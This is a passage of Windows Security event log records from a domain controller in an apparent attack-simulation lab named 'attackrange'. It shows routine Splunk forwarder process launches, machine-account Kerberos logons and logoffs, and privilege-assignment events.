-Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:55:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256064 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A92CD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:55:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256063 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3A92CD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51174 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:55:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256062 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3A92CD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:56:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256065 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x128c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256066 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256068 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256069 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256070 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:56:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256074 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AC940 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:56:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256073 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3AC940 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51188 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:56:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256072 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AC940 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256080 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ACC08 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256079 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3ACC08 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51191 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256078 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ACC08 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256077 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ACB9C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256076 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3ACB9C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51190 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256075 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ACB9C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256081 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256093 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AD8A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256092 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AD9D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256091 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ADA18 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256090 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3ADA8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51196 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256089 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ADA8A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege 